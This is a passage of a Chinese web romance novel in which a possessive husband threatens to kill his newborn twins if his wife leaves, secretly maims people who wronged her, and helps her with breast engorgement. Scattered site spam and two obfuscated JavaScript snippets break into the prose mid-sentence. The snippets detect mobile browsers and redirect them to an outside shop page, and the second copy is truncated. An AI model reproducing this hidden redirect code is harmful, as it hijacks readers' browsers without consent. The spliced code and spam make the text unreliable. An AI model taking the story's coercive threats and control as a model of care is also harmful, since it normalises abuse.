他眼底那点没藏干净的紧张和偏执全都落进她眼里。 言昭忽然没有再说什么。 只是慢慢把手往他掌心里回握了一下。 顾煜整个人像是被这一点点回应救了一样肩膀都微不可察地松下来额头轻轻贴在她手背上呼吸沉得发颤。 言昭张了张嘴其实是想问他刚才是不是去处理自己的事情了可话到了喉咙口又被她咽了回去。 她不敢问她怕自己一开口就变成在求他替自己出气更怕那些脏事真的牵连到他。 她的眼神在他脸上停了一下又慢慢垂下去指尖在被子里轻轻蜷着那点迟疑全写在脸上。 顾煜却看成了另一种意思。 他以为她想说锁链的事情。 顾煜微微低下头额前的碎发落下来睫毛压出一片阴影整个人的气息一下子沉了下去。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 那些温柔正在一点点收回去，露出里面潮湿又偏执的那一层。 他的声音很低，很轻，可一字一句压得人喘不过气。 “昭昭，你以后不可以再离开我身边。 他说这句话的时候手指还在她手腕上，指腹按着她的脉搏。 紧接着他喉结滚动，眼底那点压抑了很久的东西终于裂开了一道缝。 “我承受不住第二次，下一次你要是再跑，我会把孩子们都杀了。 言昭整个人僵住。 她露出不敢置信的表情。 顾煜像是在说一件再普通不过的事，眼神直直看着她，里面没有一点开玩笑的意思。 “然后我们一起死。 他的声音哑得不像话，这些话也像是从胸腔里挤出来似的。 此刻病房里安静得可怕。 顾煜的手还握着她的手，掌心是温的，说出来的话冷得让人发颤。 言昭几乎是本能地想把手抽回来，可她刚动了一下，顾煜的手指就收紧了，力道不重，可牢得惊人，明显是早就预料到她会躲。 她喉咙发紧，声音有点发颤，“顾煜，你…… 后面的话跟着卡住了。 她原本是想问是不是又中邪了？ 可这句话在脑子里转了一圈，她没敢说出口。 这两个孩子是他的。 可也是她执意要留下来的。 她很清楚他从一开始就不喜欢孩子。 她也清楚，他不喜欢自己说他中邪。 顾煜看着她，眼神没有挪开。 他太熟悉她了。 她那一点点退缩、那一点点不敢说出口的迟疑，全被他看得清清楚楚。 现在昭昭在害怕。 可是能怎么办呢？ 他只要想到她要离开自己，就很想带着她一起去死。 顾煜手上的力道又收紧了一点，把她整只手包在掌心里，低声开口，语气诡异的温柔，“昭昭，你在怕我。 不是疑问。 是陈述。 言昭的呼吸乱了一下，她下意识摇头，可动作还没做完，就被他拽得往前一点。 他低下头，额头贴过来，距离近得呼吸都缠在一起，声音压得很轻很轻。 “你可以觉得我有病。 “你可以讨厌我。 “但你不能再离开我。 他说到最后一句的时候，喉咙明显紧了一下，那点疯意被他死死压在温柔的壳子里， 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 像是随时会裂开。 言昭的眼眶一下子红了。 她终于忍不住开口，声音乱得不像样，“我没想离开你……我只是…… 她只是怕。 怕自己拖累他。 怕他哪天后悔。 怕他对孩子不高兴。 可这些话，她一句都说不完整。 顾煜看着她那副慌得不知道怎么解释的样子，眼底那层阴沉慢慢动了一下。 他忽然低头，在她手背上亲了一下，动作轻得不像刚刚说出那种话的人。 “昭昭，他说，“你只要待在我身边就够了。他的声音哑得厉害，“现在太晚了，先睡吧。 言昭哪里还睡得着，她还想看看孩子。 顾煜看出她的心思，叹了口气，起身把旁边小床上的两个襁褓一并抱过来，小心地放在她身边，又替她把被子掖好。 两个孩子靠在言昭身侧，呼吸细细的，小脸红扑扑的，一点点动静都带着活气。 言昭的手慢慢挪过去，指尖轻轻碰了碰其中一个的小拳头。 她侧着身看了很久，才重新闭上眼。 只不过心里面没有静下来。 顾煜刚才那些话一遍一遍在脑子里转，也知道他是真的不喜欢孩子。 以后还是得靠她自己，把两个孩子好好带大，不能让他们成为顾煜的负担。 她抱着这样的念头，呼吸才慢慢缓下来。 顾煜一直坐在床边没动。 等她的呼吸变得均匀，他才伸手在她额头上轻轻碰了一下，确认她真的睡着了。 他整个人才像是被抽掉了最后一根紧绷的弦，肩膀慢慢塌下来。 他低头看着她，又看了一眼她身边的两个孩子，眼神复杂得一瞬间连他自己都没理清。 最后他还是把视线收回来，只盯着她一个人。 胸口那股压了一整天的窒息感终于散了一点。 幸亏昭昭心大。 难受的事情不会在心里翻来覆去太久。 不然他真的不知道该怎么办。 他现在的脑袋整日整日都处于要裂开的状态，他真的怕昭昭再多说一句，自己会控制不住自己。 顾煜重新伸手握住她露在外面的手指，动作轻得几乎没有重量，整个人坐在那儿很久都没动。 …… 顾煜还是会在言昭睡着之后悄悄离开。 时间从来不长，他自己掐得很准，最多一个小时。 病房的门合上，他整个 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 人的气息就完全变了。 走廊尽头的水房灯光惨白他站在水池前一遍一遍洗手指缝、指甲、腕骨 他把水关掉又低头闻了一下自己的袖口确认没有一点味道才从袋子里换上新的衬衣把旧的叠好收进袋子里。 镜子里的人脸色冷得没有温度。 像是什么都没发生过。 等他重新推开病房门的时候脚步已经放得很轻眼神也收得干干净净只剩下看向床上那个人时才会有的柔软。 他会先站在原地看一会儿。 确认言昭还在。 然后才走过去坐下。 可另一边几个人却被折腾得头都大了。 关在监狱里的那一批已经够让他们头疼判决文件刚下医院那边又接连送来几个人—— 全是之前没查到的关系户。 现在已经半死不活有的直接成了植物人有的四肢废掉连话都说不清。 时间点卡得极准。 伤势也干净利落。 他们不用想都知道是谁做的。 可偏偏没有任何证据。 每一次安排人暗中跟着顾煜不是中途跟丢就是人还没出院门就被甩开。 被盯着他的行动路线也是清清楚楚从病房到水房从水房回病房中间没有任何空白可偏偏那些人就在同一时间出事。 会议室里烟一根接一根地灭。 “再这样下去我们没法交代。” “你去跟他说？” “……你去？” 所有人都沉默下来。 最后只能把文件往桌上一扔低声骂了一句祖宗。 而病房里顾煜已经重新握住了言昭的手。 像是什么都没做过的人。 像是把所有属于人的情绪和温度都留在了这一张病床边。 他的指腹在她手背上轻轻摩挲了一下眼神安静得近乎虔诚。 时间一分一秒过去他的目光始终没有离开她。 …… 言昭这段时间几乎把全部心思都放在孩子身上。 两个小小的襁褓摆在床边她醒着的时候就忍不住去看一会儿摸摸这个一会儿碰碰那个。 儿子安静得很饿了才哼一声平时就乖乖睡着。 反倒是女儿手脚老是乱动刚裹好的小被子一会儿就蹬开闭着眼睛都不安分。 言昭有点 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 发愁，女儿有点太活泼。 顾煜坐在旁边看了一眼，神情淡淡的，“脾气大点挺好，以后能欺负别人，不会被人欺负。 言昭被他说得一愣，想了想居然觉得有点道理。 顾煜看着她脸上的笑意，眼神缓了一点。 就在这时，病房门被敲响了。 那一声不重，让顾煜的眉瞬间皱了起来，整个人的气息都冷了一下。 他先是看了言昭一眼，语气放轻，“昭昭，我去看看。 言昭点头。 门关上没一会儿又被推开。 顾煜重新走了进来，身后还跟着两个人。 言昭原本还在低头看孩子，听见动静抬头一看，整个人一下子愣住了，眼睛都睁大了，“楚婶！楚云！ 楚婶站在门口，眼睛一下子就红了，手在衣服上胡乱擦了两下才敢往里走，声音都发颤，“小昭，你…… 楚云更是直接跑过来，看到床上的言昭眼泪瞬间掉下来，又不敢碰她，只能站在床边一个劲地看，“言姐你真的在这，我们听人说的时候还不敢信…… 言昭也跟着红了眼眶，声音都带了点哽，“你们怎么来了？ 顾煜站在一旁没有说话，只是把位置让开了一点，让她们靠近床边。 楚婶一走到床边，眼睛就落在那两个小襁褓上，脸上的褶子全都堆到了一起，声音压都压不住，“哎哟我的老天爷，生这两个你受累了。 说完又看向言昭的脸，眼圈一下子红了，“你这丫头命也太苦了，一个人在那边挺着那么大的肚子，差点把我魂都吓没了。 楚云已经弯下腰去看孩子，小声惊呼，“一儿一女，言姐，是龙凤胎啊，哇这个小姑娘踹被子好厉害。 楚婶立刻接话，“厉害点好，厉害点不受人欺负，像你娘一样，挺着个大肚子拿叉子追人，那会儿全队都被你吓住了。 楚婶说着说着自己先抹了把眼泪，又赶紧把话岔开，“对了，小昭你不知道吧，那个李安后来真被处理了，公社把人带走没多久，县里就来人了，说他犯了流氓罪，判了死刑。 全队开大会的时候宣读的，队长脸都抬不起来，还直接把媳妇给休了，女儿哭得在地上打滚，大家都在看热闹。 病房里安静了一下。 楚云点头，“他真的活该，这种祸害早该收拾了，当初要不是你命大，我们全队也都抬不起头做人。那天晒谷场上你说的那些话，现在大家还在学呢，说得可解气了。 言昭听 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 着，眼睛一点点湿起来，也觉得解气。 顾煜站在旁边没有出声，只是垂着眼看着言昭。 楚婶这时才注意到他，连忙站直了点，局促地搓了搓手，“这位就是小昭的男人吧，小伙子长得真好，当初多亏你把她接出来，不然她那肚子再拖下去可怎么得了。 顾煜轻轻点了一下头，语气比平时柔和很多，“谢谢你们那段时间照顾她。 楚婶一听这话反倒更不好意思了，“哪有什么照顾，她给我们家做饭贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338044|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，还帮着看信取名字，是我们占了便宜。 她说着又忍不住去看那两个孩子，笑得见牙不见眼，“这俩娃以后有福气。 病房里的气氛一下子暖了起来。 顾煜站在一旁，看着言昭和她们说话。 她脸上的神情明显比刚才丰富了许多，眼睛是亮的，连声音都带着笑意。 那种放松，是在他面前很少出现的。 他喉结轻轻动了一下，胸口像被什么一点点顶着发疼，明明知道这是好事，可想到她在自己不在的时候，重新有了依靠、有了牵挂。 这股说不清的情绪还是翻了上来，让他控制不住地嫉妒。 他站在原地看了几秒，硬生生把那点阴沉压下去，转身走了出去。 再进来的时候，手里提着一堆东西，水果、奶粉、麦乳精，还有几包点心，整整齐齐地放在床边的小桌子上。 言昭知道这是顾煜想让自己送人，她就把那一大半往楚婶怀里塞，“你们带回去吃，给我小侄子补补。 楚婶吓了一跳，连忙往外推，“这怎么行，这么金贵的东西，我们哪能要。 楚云也跟着摆手，“言姐你自己留着。 顾煜站在旁边，看着她把东西往外送，眼底那点压着的情绪又翻了一下。 但他说出口的话却温和得很，“你们拿着吧，她现在不能吃太杂，而且还有不少，根本吃不完，这些放着也会过期吃不了。 言昭补了一句：“都是他工作的地方送的，不花钱。 这话说得太理直气壮，连推辞的余地都没有。 楚婶这才红着眼眶收下，一边收一边念叨，“小昭你是嫁对人了。 言昭对顾煜这么给自己面子，她还是有点感动的。 顾煜在被她主动的注视下，那点翻涌的嫉意终于慢慢散开，胸口的紧绷也松了一点。 她笑得还是这么好看。 他垂下眼，把手放到她肩上，很轻地碰了一下。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 像是在确认，她现在真的在自己身边。 楚婶她们待了好一会儿才起身要走。 东西收拾好放在一边，楚云还在反复看那两个孩子，像是怎么都看不够。 言昭脸上的笑慢慢淡下来，眼睛一直跟着她们的动作走，明显舍不得，可又不知道该怎么开口留人。 顾煜站在旁边看得清清楚楚。 他低声开口，语气很稳，“以后你们要是去京市，可以直接来家里，我们会安排好。” 言昭一听，眼睛一下子亮了，立刻接话，“对，楚婶，你们到时候一定要来，我们带你们去看京市，住我们家。” 楚婶笑起来，眼角的皱纹都深了，“行，等以后俺也去一趟大城市看看，到时候肯定去找你。” 可心里明白，这一别，怕是很难再见了。 楚婶往前走了一步，伸手把言昭抱进怀里，“你好好过日子，别再受委屈了。” 言昭眼泪一下子就掉下来，拼命点头。 楚云早就忍不住了，眼眶通红，声音发颤，“言姐，我会想你的，你也要记得给我写信。” “好。”言昭哽着声音应。 两人来一趟县里已经很不容易，车是下午的，不能再耽搁。 她们一步三回头地往外走，门关上的那一刻，病房里突然就空了下来。 言昭的情绪一下子绷不住了。 她本来就刚生产完，整个人敏感得厉害，这会儿眼泪像断了线一样往下掉，哭得肩膀一抖一抖，连呼吸都乱了。 顾煜脸色瞬间变了。 他几步走过去把人抱进怀里，小心地避开她的伤口，一下一下顺着她的背，声音压得很低，“昭昭，别难受。” 本想说安排这两个人一起去京市，可顾煜不想。 他现在要重新成为昭昭心里面最重要的人。 言昭埋在他怀里，哭得说不出话。 顾煜心口发紧，低头贴着她的额头，声音轻得不像话，“你身边有我，现在还有孩子，我们一直在。” 言昭听见孩子，情绪才稍微好了一点。 她在顾煜怀里哭了一会儿，情绪慢慢平静下来。 只不过她还是抓着他的衣襟没有松手。 她沉默了很久，在心里反复斟酌了一会儿，才小声开口：“顾煜……那些欺负过我的人，真的都受到惩罚了吗？” 顾煜低头看她。 她的眼睛还有点红，带着刚哭过的湿意，里面还藏着一点不安。 他的神情一下 听说看这本书的人都是很幸运的，分享后你的运气会更棒 子软得不像话，指腹轻轻擦过她眼角，语气温和得几乎带着哄，“是的，只要欺负过你的，一个都没有落下，他们都已经受到惩罚了。” 言昭心里那块一直悬着的地方慢慢落了下来。 她其实不是一定要谁死谁活，她只是怕那些人还在外面，又在哪欺负别人。 现在听他这样说，她整个人都松了一点。 顾煜感觉到她的身体慢慢靠过来，贴在他怀里，那种依赖是完全无意识的。 他垂下眼，把她抱得更紧了一点，下巴轻轻抵在她发顶，声音低得只有她能听见，“以后不会再有这种事了。” 言昭靠在他怀里安静了一会儿，情绪平复下来之后，反倒开始有点发怔。 她最近情绪很不好。 一点小事就会心慌，孩子多哼两声她都会紧张地坐起来，夜里醒过来发现顾煜不在床边，心口就空一下。 等他回来又忍不住想哭。 明明人就在身边，可她老是有种抓不住的感觉。 她自己也知道这是为什么。 而言昭觉得顾煜也有点不对劲。 有时候他会突然安静下来，眼神冷得吓人，像是在想什么极可怕的事情。 有时候她喊他两声他才回神，回过头来的那一瞬间，眼底还带着没来得及收干净的阴沉。 那种神情，她见过。 是他失控的时候。 只是现在，他一对上她的目光就会立刻收起来，变回那个温柔深情的人，好像刚才的一切只是她看错了。 再加上孩子在身边，她所有的注意力都被分走了。 等夜里安静下来，她已经累得连多想一会儿的力气都没有。 言昭抬头看了一眼顾煜。 现在他正低着头给儿子盖被子，动作小心又认真，眉眼温和得不像话。 她心里那点不安就又被压了下去。 大概是自己太敏感了。 第76章 胀奶？我帮你 言昭的目光落在他额头上。 那块纱布已经换过好几次了从最开始包得严严实实到现在只剩下一小片可就是一直没完全好。 她看着看着就有点心疼忍不住伸手想去碰。 指尖还没落下去就被顾煜握住了。 他其实早就察觉到她的视线一直装作没发现。 这会儿他才侧过头来看她唇角带着温柔的笑意“昭昭你现在也喜欢对我动手动脚了。” 言昭脸一下子红了想抽手又抽不出来只好小声解释“我只是担心你这额头上的伤口怎么这么久还没好你当时摔得很深吗？” 顾煜看着她那副认真的样子眼神慢慢软下来。 他当然不会说那是他在产房外失控的时候自己撞的。 也不会说那几天他根本不觉得疼。 他只是把她的手放回自己掌心语气轻得像在哄人“不深就是恢复得慢一点。” 言昭明显不太信又往前凑了一点眼睛盯着那块纱布看声音带着点小心“让我看看。” 顾煜本能地想拒绝。 那点伤口对他来说根本不算什么可被她这样认真对待他反而有点高兴。 他停了一下 言昭动作很轻地把纱布边缘掀开一点看见下面已经结痂的伤口眉头立刻皱起来“你这是摔哪了能磕成这样。” 她说着说着声音就软了“疼不疼啊？” 顾煜喉结动了一下。 他看着她低着头替自己看伤口的样子整个人像被什么一下子拽住。 那种被她放在心上的感觉重得让他呼吸都有点发紧。 他伸手把她拉进怀里下巴贴在她发顶声音低低的“不疼了要不你给我亲亲？亲亲一下我觉得会好得快一点。” 言昭直接就把他推开了。 他比以前还要油嘴滑舌。 后面的几天里。 言昭早就不想住在医院她恢复得很好在做了一些检查没问题后顾煜才答应带着她离开。 离开的时候顾煜就把她包裹的很严实。 厚厚的围巾把她半张脸都遮住外面还裹着大衣。 她整个人几乎被包成一团还没反应过来就被他横抱起来往外走。 “顾煜……我能自己走……”她压低声音。 顾煜根本不听抱得稳稳的“地上凉。” 一路从医院出来到车上她的脚都没沾 听说看这本书的人都是很幸运的，分享后你的运气会更棒 到地。 车子开进省城那家公家开的酒店门口，外面已经停着好几辆小汽车，大厅里来来往往的人穿着都很讲究，一看就不是普通人。 言昭被他抱着从车上下来，头埋在围巾里，耳朵已经红得厉害，小声在他怀里说：“你放我下来…… 顾煜像没听见一样，步子稳稳地往里走。 大厅里有人抬头看过来，只能看见他怀里抱着一团裹得严严实实的人，连脸都看不清。 言昭羞得不敢抬头，手下意识抓紧了他的衣襟。 等进了房间门关上，她才终于被放下来。 脚一落地，她整个人还没站稳，顾煜就伸手扶住她。 房间很大，窗帘厚重，桌上已经摆好了热水和饭菜，明显是提前安排好的。 言昭把围巾拉下来，脸还是红的，“我哪有那么脆弱，现在流氓罪抓的那么严，被人举报怎么办？ 顾煜把她的大衣解开，笑着解释，“我已经提前让人过来说过，你现在月子，不能受到风吹，也不能冷到。 言昭对他的体贴还是很感动的。 言昭原本还以为他们要直接回京市，等顾煜把孩子的小床安顿好，她才忍不住问了一句。 顾煜把被子往她身上掖了掖，语气低缓，“我们先不回去，在这把月子坐完，这边清静，孩子也方便照顾。 “孩子我会看着，你安心睡，等他们要喝奶的时候我叫你。 言昭本来就困得眼睛都睁不开，这段时间被两个小家伙折腾得几乎没睡过整觉，一听这话，心里那点担心也散了，打着哈欠点头，“那你记得叫我…… 话还没说完，人已经躺下去了。 顾煜坐在床边，手在她背上轻轻拍着，一下一下，节奏很慢，带着安抚意味。 言昭很快就睡沉了。 呼吸变得均匀。 顾煜又坐了一会儿，确认她真的睡熟了，才起身把灯调暗，走到门口把门轻轻打开。 门外一直等着的人立刻抬头。 两个妇人低着头走进来，动作很轻，小心地把两个孩子从小床上抱起来，用准备好的小被子裹好，连一声响动都没有。 顾煜的目光一直跟着。 直到孩子被抱出门。 隔壁房间的门关上。 那两个穿中山装的男人这才走进来，声音压得很低，“顾教授，您放心，我们会看好的。 顾煜站在原地，神情已经恢复成平日那种冷淡的样子，只轻轻应了一声，“嗯。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 没有多余的话。 两人对视一眼，识趣地退了出去。 房间重新安静下来。 顾煜回到床边，看着睡得毫无防备的言昭，脸上的冷意一点点散开。 他坐下，把她露在外面的手小心翼翼放进去。 然后他又出了门。 另一边的看守所里，李安在听见判决的时候整个人都疯了一样，嗓子都喊破了，铁门被他踹得哐哐作响，“不可能！我上头有人！你们敢判我死刑！” 回应他的只有冰冷的呵斥声。 他还想再骂，可身上的伤让他连翻身都困难，最后只能瘫在地上大口喘气，眼睛里全是血丝和不甘。 他不明白，明明之前所有人都站在他这边，怎么转眼之间全都进去了。 他骂着骂着就没了力气。 牢房重新安静下来。 王二柱那边完全是另一种状态。 他一会儿在墙角缩成一团，一会儿又突然暴起拍门，声音嘶哑得像鬼，“我不想死！我不想死！我姑姑呢！我姑姑会救我的！她跟那个女人关系那么好，她肯定会救我！” 没有人理他。 而王二柱不知道，他那位姑姑因为早起不小心跌倒人已经没了。 那间铺子也早就换了主人。 县城临街的那间小店重新开了门，门口的牌匾换成了新的。 楚婶站在门口，看着里面干干净净的灶台，还有后面带着小院子的屋子，手都不知道往哪放，“这……这真是给我们的？” 楚云在旁边也是一脸发懵，连话都说不利索。 楚婶连连摆手，急得眼睛都红了，“不行不行，我们怎么能要这个呢。” 这可是店铺啊。 而且还是县里面的店铺，还有一个房子。 “我们只是一个乡下人……” 她们是真的没想到，照顾言昭那段日子，在她们心里不过是搭把手、添双筷子的事，最后竟然换来这么大一份家业。 楚婶一边抹眼泪一边念叨着：“这怎么使得。” 两人声音都哑了。 顾煜站在她们面前，唇角依旧带着温和的弧度。 “户主已经改成你们的名字了，而且这是你们应得的，我也希望你们能自己把日子过好。” 他说话的语气很轻。 像是在说一件再平常不过的事情。 那一瞬间，两个人的眼泪彻底掉了下来。 可就在她们低头擦眼睛的时候，没有人看 你的朋友正在书荒，快去帮帮他吧 到—— 顾煜脸上的笑意始终停在唇角。 没有往上走半分。 睫毛垂下来，在眼下投出一片阴影，把那双眼睛里的情绪遮得干干净净。 那点温和像是刻意维持的表象。 这间铺子，这个院子。 足够她们安稳过一辈子。 也足够让她们有自己的生活。 这样，她们就不会再频繁出现在昭昭面前了。 不会再带走她的情绪。 不会再让她露出那种让他嫉妒的笑。 她的世界里，有他就够了。 …… 一个月的时间说长不长，说短也不短。 对言昭来说，却是她这辈子难得的一段安稳日子。 孩子有两个人帮着照看，她只需要喂奶、休息，夜里也不用像以前那样一惊一乍地爬起来。 饭菜每天按点送到，衣服有人洗，房间始终暖着，连她起身走两步都会有人在旁边看着，生怕她累着。 她一开始还不习惯。 后来才慢慢缓过来。 只是偶尔坐在床边，看着那两个妇人熟练地抱孩子、拍奶嗝，她心里还是会冒出一点说不出的别扭。 这日子好得有点不像真的。 好得让她想起以前在生产队时，大家围在一起骂的那些“资本家太太，什么活都不干，还有人伺候。 她想着想着就忍不住看向顾煜，小声嘀咕了一句，“我现在这样……是不是有点像以前骂的那种地主呀？ 主要是这种伺候的形式，让言昭感到有些熟悉。 她知道自己是地主出身，可那已经是很小的时候。 顾煜正在给女儿换小被子，听见这话动作顿了一下，抬头看她。 他走过来坐到床边，把她往怀里带了一点，语气很平静，“你以前吃的苦还不够多吗，现在只是让你把该享的享回来。 言昭被他说得一愣。 顾煜的手落在她后背，轻轻顺着，“而且这是单位安排的，昭昭你别多想。 他这话说得自然得像是真的。 言昭心里那点不自在被他压下去不少。 她低头看了看两个孩子，又靠回他肩上，小声说，“就是觉得太好了，有点不习惯。 顾煜没有再解释，只是把她抱紧了一点，下巴轻轻贴在她头顶。 “那以后就多多习惯。 言昭仰起头问：“为什么？ 顾煜笑着说：“你男人回去后 你的朋友正在书荒，快去帮帮他吧 要干个大事。” 言昭眨眨眼。 …… 回京市这天，顾煜一大早就把所有东西都准备好了。 言昭被他按在镜子前，头发一点点梳开，长发柔顺地散在肩上。 他拿来的那条白色洋裙料子柔软，裙摆垂下来时像一层轻雾，腰身收得刚好，把她的身形衬得纤细又有弧度。 生过孩子之后，她身上多了一点从前没有的丰润，胸口和腰线都更明显，整个人带着一种温柔的韵味。 她站起来的时候自己都有点不自在，“会不会太显眼了……” 顾煜从后面看着她，眼神停了很久，才低声说，“好看。” 他替她把领口整理好，又把外套披在她肩上。 因为顾煜心疼她总被咬，所以在孩子喝了一个月母乳后，就被他强行改喝奶粉了。 她身体恢复得很快，脸色也养了回来，白净又带着点红润。 火车到站的时候，人群拥挤。 顾煜一只手抱着女儿，一只手牵着她，两个穿中山装的人抱着儿子跟在后面。 言昭刚下车，就感觉到四周的视线落在自己身上。 她以前在京市也是普通打扮，灰扑扑的衣服，低着头走路，从来不会被人多看一眼。 现在完全不一样。 白裙子在一片深色棉衣里太显眼，她的脸又生得好看，站在人群里像是从画报里走出来的人。 有人忍不住回头看。 言昭的手不自觉地抓紧了顾煜。 她心里忽然紧张起来。 这座城市她太熟悉了。 也太多记忆。 好的坏的，全都在这里。 她低声说了一句，“顾煜，我们回来了……” 声音很轻。 像是在确认什么。 顾煜侧头看她，把她的手握得更紧了一点，“嗯，我们回来了。” 那一瞬间，她心里的慌乱慢慢被压下去一点。 出站口外，车已经等着。 京市的风带着点凉意吹过来，街道宽阔，人群匆忙，一切都和她离开时一样，又好像完全不同。 车子拐进那条熟悉的林荫道时，言昭整个人都安静了下来。 小洋楼的铁门被推开，院子里的花草被修剪得整整齐齐，台阶还是原来的样子，连门口那盏灯的位置都没有变。 她站在门口，有一瞬间的恍惚。 好像自己只是出门了一趟，很快就回来了。 可又清 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 清楚楚地知道这中间隔了太多事。 她在外面颠沛流离的时候多少次想过这里。 想过厨房里随时都有热水想吃什么就有人送想买什么顾煜一句话就有人送来。 那时候不觉得现在才明白那是多让人安心的日子。 她眼眶一下子就红了。 顾煜站在她身侧没有说话只是把她的手握紧了一点。 院子里的动静惊动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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整个家一下子有了秩序。 言昭站在原地，看着她们忙碌，忽然有点不知所措。 她好像什么都不用做了。 顾煜看了她一眼，“你现在的任务就是养好身体。 他说得理所当然。 言昭还没来得及说话，门外又停了一辆车。 这次进来的是一男一女，穿着整齐的军装。 男人手里提着两大袋东西，女人抱着一箱奶粉，后面的人又往里搬了几箱营养品。 客厅的桌子很快就堆满了。 那位军装女人走到言昭面前，神情柔和了不少，“言昭同志，你在外辛苦了，现在身体恢复得怎么样？我们已经给你在医院安排了全套检查，有空就可以去。 言昭有点紧张，下意识点头，“啊……谢谢，我现在挺好的。 对方笑了一下，“辛苦了，双胎不容易，好好养着。 一番客套的慰问。 临走前还特意看了一眼两个孩子，点了点头。 等人走了，屋子重新安静下来。 桌子上堆满了奶粉和营养品。 言昭坐在沙发上，看着这一切，忽然有点发怔。 这日子和她在外面的时候，简直像是两个世界。 顾煜把她手里的水杯接过去，又给她换了一杯热牛奶，“这些都是正常的，昭昭你不用有压力。 言昭抬头看他。 这么大的架势，她怎么可能没压力…… 而且她很想问，这些人为什么会来。 可她看着他那副平静的样子，话又咽了回去。 她只是慢慢靠过去一点，小声说了一句，“顾煜，我现在真的像在做梦。 顾煜伸手把她揽进怀里，没让她再往下想。 言昭是没心思继续想。 因为到了傍晚，她就开始难受起来。 胸口涨得发疼，整个人坐立不安，连抱孩子都不敢用力，稍微碰一下都像针扎一样。 她原本想忍一忍，结果脸色越来越白。 顾煜很快就看出来了。 他皱着眉问了一句，她支支吾吾地说了实话，他沉默了一下，语气却很自然，“我可以帮你。 言昭一下子愣住了，脸瞬间烧红，“你怎么帮…… 她以为他是要去拿什么药。 可顾煜只是看了她一眼，没有再说话。 到了晚上，房间的灯调得很 你的朋友正在书荒，快去帮帮他吧 暗。 孩子被两个阿姨抱去隔壁房间，小床空下来。 言昭还没反应过来，就被他按在床上，整个人僵得不行。 她这才明白他说的帮忙是什么意思。 屋子里很安静。 只有压得很低的呼吸声。 还有细碎的水声。 言昭仰着头，额头上全是汗，胸口起伏得厉害，手指抓着他的头发，力气大得自己都没意识到，指节都泛白了。 她时不时忍不住发出一声短促的气音，又立刻咬住唇。 整个人被那种酸胀的感觉逼得发颤。 顾煜的手一直稳稳地托着她的后背，动作耐心又克制，没有一点急躁，像是在做一件再认真不过的事。 直到她整个人慢慢软下来，呼吸乱得不像样子，他才抬起头。 此时顾煜的脸明显有些发红，从耳根一路蔓延到颧骨，唇色被浸得更深。 嘴角还带着一点水迹，在昏暗的灯光下显得格外艳。 这张原本清冷的轮廓被那层湿意软化，眼尾微微发红，整个人透出一种说不出的妖冶。 言昭只看了一眼，心脏就猛地跳了一下，像被什么狠狠撞了一下似的。 她脸红得不敢再看，整个人埋进被子里。 顾煜低声笑了一下，伸手把她从被子里拉出来，语气温和，“现在不疼了吧。” 言昭呼吸还没完全平稳，现在也算是不疼了，可是身体却因为刚才的触碰残留着一点说不清的酥软。 她自己也察觉到了那点变化，脸更红了，连脑袋都不敢抬。 她下意识想往旁边缩过去。 顾煜察觉到她的反应，自然没让她离开自己的怀里。 他手指在她背上轻轻顺了一下，没有再继续做什么，只是把她抱紧，让她慢慢平复下来。 房间里安静得只剩下两个人的呼吸声。 她的脸贴在他胸口，能清楚地听见他的心跳声，一下比一下沉。 顾煜突然来了一句：“昭昭，现在轮到我难受了，怎么办？” 第77章 阴暗窥探的人影 这句话像是一点火星。 言昭整个人僵了一下。 她能感觉到他说话时胸腔的震动，也能感觉到他抱着自己的手臂微微收紧。 空气忽然变得很慢。 连呼吸都带着热意。 她不敢抬头，只能把脸埋得更深。 顾煜没有催她，也没有再说话，只是低头看着她，呼吸落在她发顶，一下一下，带着温度。 被子里的空间本来就不大，两个人贴得太近，连一点细微的动作都会被放大。 她的手不知道什么时候攥住了他的衣襟。 此时窗外的风吹动了一下树叶，影子在窗帘上晃了晃。 整个房间像是被这点暧昧的沉默包住。 言昭的心跳越来越快。 她当然听懂了他那句话的意思。 可她不知道怎么回答。 这一个多月顾煜是没碰自己，除了给她通奶。 过了好一会儿，她才小声闷闷地说了一句，声音轻得几乎听不见：“那……那你自己忍着…… 顾煜低低地笑了一声。 那笑声贴着她耳边散开，带着让人忽视不了的哑意。 他没有真的做什么，只是把她抱得更紧了一点，下巴抵在她发顶，声音低得像是在自言自语：“昭昭，你对我真狠。 顾煜说的“狠 他抱着她的手一点点收紧，下巴压在她发顶，眼神慢慢沉了下去。 而是指她当初离开自己连回头都没有的狠。 那种干脆利落，让他到现在想起来，胸口都像被撕开一样。 这个女人平时看起来软得很，听话、安静，被他抱着的时候连反抗都没有。 可没想到她会说跑就跑，连一点余地都不给他。 顾煜后来一次次去回想。 如果那天他把她留下来。 如果他再强硬一点。 如果他不去给她选择。 他就不会经历那十个月像疯子一样的日子。 那些念头在他脑子里反复翻涌，阴暗又偏执。 可现在人就在他怀里，呼吸是真实的，温度也是。 顾煜只觉得胸口那点空了十个月的地方终于被填满，甚至生出一种近乎失控的冲动，恨不得把她揉进骨血里，嵌进自己的生命，再也分不开。 言昭听着他说自己狠，心里一下子乱了。 她原本还带着点羞意的呼吸慢慢轻下来，取而代之的是一种说不出 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 的酸软。 她在想自己离开的那段时间他是怎么过的？ 他说后悔 自己是有点太过分了。 